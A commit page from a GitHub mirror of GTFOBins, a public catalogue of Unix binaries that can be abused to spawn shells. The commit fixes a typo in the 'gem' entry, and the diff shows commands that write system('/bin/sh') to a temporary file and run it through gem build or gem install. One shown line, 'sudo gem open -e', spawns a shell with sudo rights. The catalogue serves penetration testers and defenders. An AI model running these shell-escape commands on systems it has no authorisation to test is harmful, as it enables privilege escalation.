1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00

Fix typo in gem

This commit is contained in:
Andrea Cardaci 2020-03-14 12:56:21 +01:00
parent 48892aad60
commit ddd6c2e304

View File

@ -11,12 +11,12 @@ functions:
code: |
TF=$(mktemp -d)
echo 'system("/bin/sh")' > $TF/x
sudo gem build $TF/x
gem build $TF/x
- description: This executes the specified file as [`ruby`](/gtfobins/ruby/) code.
code: |
TF=$(mktemp -d)
echo 'system("/bin/sh")' > $TF/x
sudo gem install --file $TF/x
gem install --file $TF/x
sudo:
- description: This requires the name of an installed gem to be provided (`json` is usually installed).
code: sudo gem open -e "/bin/sh -c /bin/sh" json